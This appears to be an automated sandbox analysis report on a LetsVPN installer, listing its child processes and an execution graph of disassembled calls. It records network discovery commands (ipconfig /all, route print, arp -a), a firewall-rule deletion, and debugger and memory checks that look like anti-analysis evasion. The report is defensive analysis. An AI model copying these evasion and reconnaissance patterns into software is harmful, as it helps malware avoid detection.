                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\netsh.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:netsh advfirewall firewall Delete rule name=LetsPRO
                                                                                            Imagebase:0x1560000
                                                                                            File size:82'432 bytes
                                                                                            MD5 hash:4E89A1A088BE715D6C946E55AB07C7DF
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:52
                                                                                            Start time:05:36:34
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
                                                                                            Imagebase:0x7ff7488d0000
                                                                                            File size:101'536 bytes
                                                                                            MD5 hash:1E3CF83B17891AEE98C3E30012F0B034
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:53
                                                                                            Start time:05:36:34
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:54
                                                                                            Start time:05:36:39
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Program Files (x86)\letsvpn\LetsPRO.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"C:\Program Files (x86)\letsvpn\LetsPRO.exe"
                                                                                            Imagebase:0x7d0000
                                                                                            File size:247'272 bytes
                                                                                            MD5 hash:8FC872149F0B8D2FB3D75C4076C0A8CA
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Antivirus matches:
                                                                                            • Detection: 0%, ReversingLabs
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:55
                                                                                            Start time:05:36:39
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
                                                                                            Imagebase:0xcf0000
                                                                                            File size:1'471'464 bytes
                                                                                            MD5 hash:D664FB656FC05BE54EA49950688BE980
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Antivirus matches:
                                                                                            • Detection: 3%, ReversingLabs
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:56
                                                                                            Start time:05:36:44
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\svchost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
                                                                                            Imagebase:0x7ff6eef20000
                                                                                            File size:55'320 bytes
                                                                                            MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:57
                                                                                            Start time:05:36:44
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\svchost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
                                                                                            Imagebase:0x7ff6eef20000
                                                                                            File size:55'320 bytes
                                                                                            MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:58
                                                                                            Start time:05:36:45
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\wbem\WmiApSrv.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                            Imagebase:0x7ff6b13e0000
                                                                                            File size:209'920 bytes
                                                                                            MD5 hash:9A48D32D7DBA794A40BF030DA500603B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:60
                                                                                            Start time:05:36:49
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"cmd.exe" /C ipconfig /all
                                                                                            Imagebase:0x240000
                                                                                            File size:236'544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:61
                                                                                            Start time:05:36:49
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:62
                                                                                            Start time:05:36:49
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\ipconfig.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:ipconfig /all
                                                                                            Imagebase:0x1e0000
                                                                                            File size:29'184 bytes
                                                                                            MD5 hash:3A3B9A5E00EF6A3F83BF300E2B6B67BB
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:63
                                                                                            Start time:05:36:49
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"cmd.exe" /C route print
                                                                                            Imagebase:0x240000
                                                                                            File size:236'544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:64
                                                                                            Start time:05:36:49
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:65
                                                                                            Start time:05:36:49
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\ROUTE.EXE
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:route print
                                                                                            Imagebase:0xe50000
                                                                                            File size:19'456 bytes
                                                                                            MD5 hash:C563191ED28A926BCFDB1071374575F1
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:66
                                                                                            Start time:05:36:50
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"cmd.exe" /C arp -a
                                                                                            Imagebase:0x240000
                                                                                            File size:236'544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:67
                                                                                            Start time:05:36:50
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:68
                                                                                            Start time:05:36:50
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\ARP.EXE
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:arp -a
                                                                                            Imagebase:0x6d0000
                                                                                            File size:22'528 bytes
                                                                                            MD5 hash:4D3943EDBC9C7E18DC3469A21B30B3CE
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:69
                                                                                            Start time:05:36:55
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
                                                                                            Imagebase:0xd30000
                                                                                            File size:1'471'464 bytes
                                                                                            MD5 hash:D664FB656FC05BE54EA49950688BE980
                                                                                            Has elevated privileges:false
                                                                                            Has administrator privileges:false
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:72
                                                                                            Start time:05:36:56
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent"
                                                                                            Imagebase:0x4f0000
                                                                                            File size:1'471'464 bytes
                                                                                            MD5 hash:D664FB656FC05BE54EA49950688BE980
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:73
                                                                                            Start time:05:37:04
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
                                                                                            Imagebase:0x760000
                                                                                            File size:1'471'464 bytes
                                                                                            MD5 hash:D664FB656FC05BE54EA49950688BE980
                                                                                            Has elevated privileges:false
                                                                                            Has administrator privileges:false
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:75
                                                                                            Start time:05:37:05
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent"
                                                                                            Imagebase:0x910000
                                                                                            File size:1'471'464 bytes
                                                                                            MD5 hash:D664FB656FC05BE54EA49950688BE980
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            Disassembly

                                                                                            Reset < >

                                                                                              Execution Graph

                                                                                              Execution Coverage:10.6%
                                                                                              Dynamic/Decrypted Code Coverage:100%
                                                                                              Signature Coverage:15.2%
                                                                                              Total number of Nodes:1791
                                                                                              Total number of Limit Nodes:13
                                                                                              execution_graph 16053 1800030e0 16064 180003cfc 16053->16064 16065 1800030e9 16064->16065 16066 180003d0f ExitProcess 16064->16066 16067 180003848 GetCurrentProcess OpenProcessToken 16065->16067 16066->16065 16068 180003893 16067->16068 16069 18000389a LookupPrivilegeValueW 16067->16069 16107 1800121d0 16068->16107 16069->16068 16070 1800038b1 AdjustTokenPrivileges 16069->16070 16070->16068 16073 1800038ed _read_nolock 16070->16073 16072 1800030ee 16076 180011908 GetSystemTimeAsFileTime 16072->16076 16073->16068 16091 180011468 16073->16091 16077 1800030f5 16076->16077 16078 180011010 16077->16078 16079 18001a32c _getptd 30 API calls 16078->16079 16080 1800030fd 16079->16080 16081 18000766c 16080->16081 16311 180008610 IsDebuggerPresent 16081->16311 16084 18000768b _read_nolock 16085 180003cfc ExitProcess 16084->16085 16087 180003102 ExitProcess 16084->16087 16086 18000769d 16085->16086 16315 180003bf4 GetTickCount64 Sleep SleepEx 16086->16315 16089 1800076a2 16317 180005710 16089->16317 16092 180011493 16091->16092 16093 1800114a8 16091->16093 16121 180015d98 16092->16121 16112 180015030 16093->16112 16099 18001151f _read_nolock 16127 180011028 16099->16127 16101 18000391a Sleep CloseHandle 16101->16068 16104 18001152f 16104->16101 16132 180015d48 16104->16132 16109 1800121d9 16107->16109 16108 1800121e4 16108->16072 16109->16108 16307 180015714 RtlCaptureContext 16109->16307 16111 1800126a6 16111->16072 16115 180015055 16112->16115 16114 1800114b7 16114->16099 16116 18001a32c 16114->16116 16115->16114 16137 18001cb3c 16115->16137 16147 18001a350 16116->16147 16122 18001a350 _getptd_noexit 6 API calls 16121->16122 16123 180011498 16122->16123 16124 180016ccc 16123->16124 16301 180016c64 DecodePointer 16124->16301 16128 18001102d HeapFree 16127->16128 16131 18001104d _read_nolock _dosmaperr 16127->16131 16129 180011048 16128->16129 16128->16131 16130 180015d98 _errno 5 API calls 16129->16130 16130->16131 16131->16104 16133 18001a350 _getptd_noexit 6 API calls 16132->16133 16134 180015d59 16133->16134 16135 18001a350 _getptd_noexit 6 API calls 16134->16135 16136 180015d72 _dosmaperr 16135->16136 16136->16101 16138 18001cb51 16137->16138 16142 18001cb6e 16137->16142 16139 18001cb5f 16138->16139 16138->16142 16141 180015d98 _errno 5 API calls 16139->16141 16140 18001cb86 HeapAlloc 16140->16142 16143 18001cb64 16140->16143 16141->16143 16142->16140 16142->16143 16145 18001690c DecodePointer 16142->16145 16143->16115 16146 180016927 16145->16146 16146->16142 16148 18001a360 _read_nolock 16147->16148 16167 1800157c0 16148->16167 16168 1800157d3 TlsGetValue 16167->16168 16169 1800157d0 16167->16169 16169->16168 16302 180016ca2 16301->16302 16303 180016cec _invoke_watson 6 API calls 16302->16303 16304 180016cc8 16303->16304 16305 180016c64 _invalid_parameter_noinfo 6 API calls 16304->16305 16306 180016ce5 16305->16306 16306->16101 16308 18001572e RtlLookupFunctionEntry 16307->16308 16309 180015744 __crtCapturePreviousContext 16308->16309 16310 18001577d 16308->16310 16309->16308 16309->16310 16310->16111 16312 180007675 CreateMutexW 16311->16312 16313 18000861e 16311->16313 16312->16084 16431 18000690c GetSystemInfo 16313->16431 16316 180003c32 16315->16316 16316->16089 16318 180003cfc ExitProcess 16317->16318 16319 180005755 16318->16319 16436 180007afc 16319->16436 16327 1800057ed 16474 1800015f4 16327->16474 16329 180005817 16481 180002028 16329->16481 16331 180005b95 16491 1800018e4 16331->16491 16348 18000146c 28 API calls 16356 180005938 16348->16356 16356->16331 16356->16348 16498 180005394 16356->16498 16516 18000945c 16356->16516 16523 1800014c4 16356->16523 16527 18000151c 16356->16527 16535 180001430 16356->16535 16538 180001220 16356->16538 16546 180001a20 16356->16546 16432 180006937 16431->16432 16433 18000693b GlobalMemoryStatusEx 16431->16433 16434 1800121d0 _fltout2 2 API calls 16432->16434 16433->16432 16435 18000696f 16434->16435 16435->16312 16554 180007844 16436->16554 16441 180007d44 std::ios_base::_Ios_base_dtor 16442 1800121d0 _fltout2 2 API calls 16441->16442 16443 180005794 16442->16443 16447 180003948 16443->16447 16445 180007ba0 _cftoe2_l 16445->16441 16576 180001c6c 16445->16576 16582 1800093dc 16445->16582 16585 180008c60 16445->16585 16448 1800039ac 16447->16448 16451 180003993 16447->16451 16449 1800050c8 std::ios_base::_Init 28 API calls 16448->16449 16449->16451 16450 180003aa2 16453 180002f78 16450->16453 16451->16450 16452 180010fe4 30 API calls rand 16451->16452 16452->16451 16454 180002fb4 16453->16454 16455 180003095 16453->16455 16454->16455 16456 180002fbd _cftoe2_l 16454->16456 16457 180005638 28 API calls 16455->16457 16458 180002fc5 MultiByteToWideChar 16456->16458 16465 180003060 16457->16465 16460 180002ffe _cftoa_l 16458->16460 16459 1800121d0 _fltout2 2 API calls 16461 1800030c5 16459->16461 16462 18000300f MultiByteToWideChar 16460->16462 16466 180003b3c SHGetSpecialFolderLocation 16461->16466 16463 180003043 _expandlocale 16462->16463 17979 180005638 16463->17979 16465->16459 18022 180011180 16466->18022 16469 180003bb1 _expandlocale 16470 180005638 28 API calls 16469->16470 16471 180003bce 16470->16471 16472 1800121d0 _fltout2 2 API calls 16471->16472 16473 180003be1 16472->16473 16473->16327 16475 180001641 16474->16475 16476 18000161b 16474->16476 18034 180005190 16475->18034 16476->16475 16477 180001629 16476->16477 18024 1800081c0 16477->18024 16480 18000163f 16480->16329 16482 18000205e 16481->16482 16483 180007e34 79 API calls 16482->16483 16484 1800020b7 16483->16484 16485 18000215c 30 API calls 16484->16485 16486 1800020e3 std::ios_base::_Init 16485->16486 18048 180008634 16486->18048 16488 180002119 16489 180002143 16488->16489 16490 180006978 std::ios_base::_Init 48 API calls 16488->16490 16489->16356 16490->16489 16493 18000192c _expandlocale 16491->16493 16492 180001959 _expandlocale 16495 180005190 28 API calls 16492->16495 16493->16492 16494 180004660 28 API calls 16493->16494 16494->16492 16496 1800019a4 LoadLibraryW 16495->16496 16497 18002a158 16496->16497 16499 180005461 16498->16499 16500 1800053be 16498->16500 16503 18000e108 std::_System_error::_System_error 28 API calls 16499->16503 16501 1800053f9 16500->16501 16502 1800053cd 16500->16502 16506 180004594 std::system_error::system_error 28 API calls 16501->16506 16504 1800053db 16502->16504 16505 18000546d 16502->16505 16503->16505 18329 1800076f8 16504->18329 16507 18000e108 std::_System_error::_System_error 28 API calls 16505->16507 16511 1800053f7 _expandlocale 16506->16511 16512 18000547a 16507->16512 16509 1800054e5 16510 180004594 std::system_error::system_error 28 API calls 16509->16510 16513 1800054e3 _expandlocale 16510->16513 16511->16356 16512->16509 16514 1800054c0 16512->16514 16513->16356 16515 180005394 std::_System_error::_System_error 28 API calls 16514->16515 16515->16513 18334 18000fff4 16516->18334 16518 180009498 _cftoe2_l 16519 18000547c std::system_error::system_error 28 API calls 16518->16519 16520 1800094c9 16519->16520 16521 1800121d0 _fltout2 2 API calls 16520->16521 16522 1800094d9 16521->16522 16522->16356 16524 1800014e6 _cftoe2_l 16523->16524 18357 18000805c 16524->18357 16526 1800014fe std::_System_error::_System_error 16526->16356 16529 180001564 _cftoe2_l 16527->16529 16528 180001591 _cftoe2_l 16530 180004fd0 std::_System_error::_System_error 28 API calls 16528->16530 16529->16528 16531 180004594 std::system_error::system_error 28 API calls 16529->16531 16532 1800015ca 16530->16532 16531->16528 16533 180004ee8 std::_System_error::_System_error 28 API calls 16532->16533 16534 1800015dc 16533->16534 16534->16356 16536 180004ee8 std::_System_error::_System_error 28 API calls 16535->16536 16537 180001456 std::_System_error::_System_error 16536->16537 16537->16356 16539 180001262 16538->16539 16540 180002560 48 API calls 16539->16540 16544 18000127c 16540->16544 16541 180006978 std::ios_base::_Init 48 API calls 16542 1800013e5 16541->16542 16543 1800013f9 16542->16543 16545 180004c20 48 API calls 16542->16545 16543->16356 16544->16541 16544->16542 16545->16543 16547 180001a4b std::ios_base::getloc 16546->16547 16548 180001e28 65 API calls 16547->16548 16549 180001a54 16548->16549 18393 180008d2c 16549->18393 16552 180007a4c 48 API calls 16553 180001a97 16552->16553 16553->16356 16596 18000547c 16554->16596 16556 18000789d 16603 18000f7c0 16556->16603 16558 1800078b4 16568 18000790a _cftoe2_l 16558->16568 16742 180011768 16558->16742 16563 180007949 16717 18000f6e4 16563->16717 16565 180007951 16567 1800121d0 _fltout2 2 API calls 16565->16567 16569 180007964 16567->16569 16568->16563 16698 18000f0f4 16568->16698 16750 180004fd0 16568->16750 16570 180001f58 16569->16570 16571 180001f84 16570->16571 17608 180007e34 16571->17608 16577 180001c9d std::ios_base::getloc 16576->16577 16578 180001e28 65 API calls 16577->16578 16579 180001ca6 16578->16579 17931 180001aa8 16579->17931 16583 180005394 std::_System_error::_System_error 28 API calls 16582->16583 16584 180009404 16583->16584 16584->16445 16586 180008c83 16585->16586 16587 180008cd7 16585->16587 16586->16587 16589 180008c88 16586->16589 16588 180008ce7 16587->16588 16591 180004d78 28 API calls 16587->16591 16592 180005394 std::_System_error::_System_error 28 API calls 16588->16592 16594 180008cd4 16588->16594 16590 180008c9b 16589->16590 17965 180004d78 16589->17965 16590->16594 16595 180005394 std::_System_error::_System_error 28 API calls 16590->16595 16591->16588 16592->16594 16594->16445 16595->16594 16597 1800054e5 16596->16597 16599 180005499 16596->16599 16761 180004594 16597->16761 16599->16597 16601 1800054c0 16599->16601 16600 1800054e3 _expandlocale 16600->16556 16602 180005394 std::_System_error::_System_error 28 API calls 16601->16602 16602->16600 16604 18000f805 16603->16604 16608 18000f81c 16603->16608 16605 180015d98 _errno 6 API calls 16604->16605 16606 18000f80a 16605->16606 16607 180016ccc _invalid_parameter_noinfo 7 API calls 16606->16607 16626 18000f815 16607->16626 16608->16604 16608->16608 16609 18000f85e 16608->16609 16813 180018884 16609->16813 16614 18000f8d3 16616 180016d50 _close 16 API calls 16614->16616 16615 18000f8ea 16617 18000f8f4 GetCurrentProcess DuplicateHandle 16615->16617 16618 18000f8dc 16616->16618 16619 18000f955 16617->16619 16620 18000fde5 16617->16620 16621 180016d50 _close 16 API calls 16618->16621 16871 180016d50 16619->16871 16623 18000fe0e 16620->16623 16625 180016d50 _close 16 API calls 16620->16625 16621->16626 16623->16626 16628 180016d50 _close 16 API calls 16623->16628 16625->16623 16626->16558 16628->16626 16632 18000fb83 16978 18000ed40 16632->16978 16635 18000f9b1 16636 180016cec _invoke_watson 6 API calls 16635->16636 16637 18000f9cb _cftoa_l _cftoe2_l 16635->16637 16636->16637 16638 180015030 _calloc_crt 6 API calls 16637->16638 16639 18000fa7c 16638->16639 16639->16632 16937 180018b60 16639->16937 16642 18000fdc0 16643 180016cec _invoke_watson 6 API calls 16642->16643 16643->16632 16646 18000fdab 16647 180016cec _invoke_watson 6 API calls 16646->16647 16647->16642 16648 180018bc4 _popen 13 API calls 16649 18000facb 16648->16649 16650 18000fad3 _cftoa_l 16649->16650 16651 18000fd96 16649->16651 16653 180015d98 _errno 6 API calls 16650->16653 16652 180016cec _invoke_watson 6 API calls 16651->16652 16652->16646 16654 18000faeb 16653->16654 16955 18001882c 16654->16955 16657 18000fb02 CreateProcessA 16659 18000fd36 16657->16659 16658 18000fb4a 16660 180015030 _calloc_crt 6 API calls 16658->16660 16661 180011028 free 6 API calls 16659->16661 16662 18000fb5d 16660->16662 16663 18000fd45 16661->16663 16664 18000fb65 16662->16664 16665 1800185cc _wdupenv_s 52 API calls 16662->16665 16666 180011028 free 6 API calls 16663->16666 16669 180011028 free 6 API calls 16664->16669 16667 18000fb9d 16665->16667 16668 18000fd4f CloseHandle 16666->16668 16670 18000fbb7 16667->16670 16674 180016cec _invoke_watson 6 API calls 16667->16674 16671 18000fd61 CloseHandle 16668->16671 16672 18000fd6f 16668->16672 16673 18000fb6c 16669->16673 16675 18000fbc0 16670->16675 16693 18000fbca _cftoe2_l 16670->16693 16671->16672 16677 180015d98 _errno 6 API calls 16672->16677 16676 180011028 free 6 API calls 16673->16676 16674->16670 16678 180011028 free 6 API calls 16675->16678 16679 18000fb74 16676->16679 16680 18000fd74 16677->16680 16678->16664 16682 180011028 free 6 API calls 16679->16682 16680->16632 16683 18000fd7a 16680->16683 16684 18000fb7e 16682->16684 16683->16626 16686 180015d98 _errno 6 API calls 16684->16686 16685 18000fd20 16687 180011028 free 6 API calls 16685->16687 16686->16632 16688 18000fd2e 16687->16688 16689 180011028 free 6 API calls 16688->16689 16689->16659 16691 180018bc4 13 API calls _popen 16691->16693 16692 180016cec 6 API calls _invoke_watson 16692->16693 16693->16685 16693->16691 16693->16692 16694 18000fd0c 16693->16694 16695 18001882c _access_s 31 API calls 16693->16695 16697 18000fcbd CreateProcessA 16693->16697 16966 180018c40 16693->16966 16970 180018cf8 16693->16970 16696 180016cec _invoke_watson 6 API calls 16694->16696 16695->16693 16696->16685 16697->16685 16699 18000f113 16698->16699 16700 18000f117 16699->16700 16702 18000f145 16699->16702 16701 180015d98 _errno 6 API calls 16700->16701 16703 18000f11c 16701->16703 16704 18000f127 16702->16704 16706 180010250 fgets EnterCriticalSection 16702->16706 16705 180016ccc _invalid_parameter_noinfo 7 API calls 16703->16705 16704->16568 16705->16704 16707 18000f156 16706->16707 16708 180016d28 _fileno 13 API calls 16707->16708 16711 18000f1de 16707->16711 16713 18000f169 16708->16713 16709 18000f218 16710 1800102ec _unlock_file 2 API calls 16709->16710 16710->16704 16711->16709 17429 1800178b8 16711->17429 16713->16711 16714 180015d98 _errno 6 API calls 16713->16714 16715 18000f1d3 16714->16715 16716 180016ccc _invalid_parameter_noinfo 7 API calls 16715->16716 16716->16711 16718 18000f706 16717->16718 16719 18000f71d 16717->16719 16720 180015d98 _errno 6 API calls 16718->16720 16721 180013090 _mtinitlocknum 27 API calls 16719->16721 16722 18000f70b 16720->16722 16725 18000f727 16721->16725 16723 180016ccc _invalid_parameter_noinfo 7 API calls 16722->16723 16724 18000f716 16723->16724 16724->16565 16725->16724 16726 18000fe44 idtab 29 API calls 16725->16726 16727 18000f73e 16726->16727 16728 18000f753 16727->16728 16729 18000f746 16727->16729 16731 18000ed40 fclose 43 API calls 16728->16731 16730 180015d98 _errno 6 API calls 16729->16730 16730->16724 16732 18000f75b 16731->16732 16733 180015d98 _errno 6 API calls 16732->16733 16734 18000f760 16733->16734 16735 180015d98 _errno 6 API calls 16734->16735 16736 18000f767 16735->16736 17562 180018774 16736->17562 16739 18000f788 16741 180015d98 _errno 6 API calls 16739->16741 16740 180015d98 _errno 6 API calls 16740->16739 16741->16724 17578 180011870 16742->17578 16745 180011968 16746 1800119b1 16745->16746 16747 1800119c7 RtlPcToFileHeader 16745->16747 16746->16747 16748 180011a07 RaiseException 16747->16748 16749 1800119ec 16747->16749 16748->16568 16749->16748 16751 180004ff2 16750->16751 16752 18000503e 16750->16752 16751->16752 16758 180005019 16751->16758 16753 1800050bb 16752->16753 16755 18000504e 16752->16755 16754 18000e0d0 std::_System_error::_System_error 28 API calls 16753->16754 16756 1800050c7 16754->16756 16757 180004594 std::system_error::system_error 28 API calls 16755->16757 16760 18000503c _expandlocale 16755->16760 16757->16760 17584 180004ee8 16758->17584 16760->16568 16762 180004651 16761->16762 16763 1800045bd 16761->16763 16774 18000e0d0 16762->16774 16764 1800045ce _expandlocale 16763->16764 16768 180004024 16763->16768 16764->16600 16770 18000405d 16768->16770 16769 1800040aa 16773 1800040b7 _expandlocale 16769->16773 16789 18000e08c 16769->16789 16770->16769 16770->16773 16779 18000eaf0 16770->16779 16773->16764 16775 180011768 std::exception::exception 26 API calls 16774->16775 16776 18000e0e8 16775->16776 16777 180011968 _CxxThrowException 2 API calls 16776->16777 16778 18000e105 16777->16778 16782 18000eafb 16779->16782 16781 18000eb14 16781->16769 16782->16781 16783 18001690c _callnewh DecodePointer 16782->16783 16784 18000eb1a std::_Xbad_alloc 16782->16784 16793 180012510 16782->16793 16783->16782 16785 180011968 _CxxThrowException 2 API calls 16784->16785 16786 18000eb58 16785->16786 16787 180015030 _calloc_crt 6 API calls 16786->16787 16788 18000eb6f _onexit 16787->16788 16788->16769 16790 18000e0b1 std::_Xbad_alloc 16789->16790 16791 180011968 _CxxThrowException 2 API calls 16790->16791 16792 18000e0ce 16791->16792 16794 1800125a4 16793->16794 16806 180012528 16793->16806 16795 18001690c _callnewh DecodePointer 16794->16795 16797 1800125a9 16795->16797 16796 180012560 HeapAlloc 16801 180012599 16796->16801 16796->16806 16799 180015d98 _errno 6 API calls 16797->16799 16798 180019224 _FF_MSGBANNER 23 API calls 16809 180012540 16798->16809 16799->16801 16800 180012589 16803 180015d98 _errno 6 API calls 16800->16803 16801->16782 16802 18001690c _callnewh DecodePointer 16802->16806 16805 18001258e 16803->16805 16804 180019298 _NMSG_WRITE 23 API calls 16804->16809 16808 180015d98 _errno 6 API calls 16805->16808 16806->16796 16806->16800 16806->16802 16806->16805 16806->16809 16808->16801 16809->16796 16809->16798 16809->16804 16810 180010b04 16809->16810 16811 180010ac0 __crtCorExitProcess GetModuleHandleExW 16810->16811 16812 180010b11 ExitProcess 16811->16812 16814 1800188d6 16813->16814 16815 1800188b7 16813->16815 16817 1800188ee 16814->16817 16818 180018924 CreatePipe 16814->16818 16990 180015d28 16815->16990 16820 180015d28 _read_nolock 6 API calls 16817->16820 16821 180018974 16818->16821 16822 180018965 _read_nolock 16818->16822 16824 1800188f3 16820->16824 16993 18001ea7c 16821->16993 16832 180015d48 _dosmaperr 6 API calls 16822->16832 16823 180015d98 _errno 6 API calls 16825 1800188c3 16823->16825 16827 180015d98 _errno 6 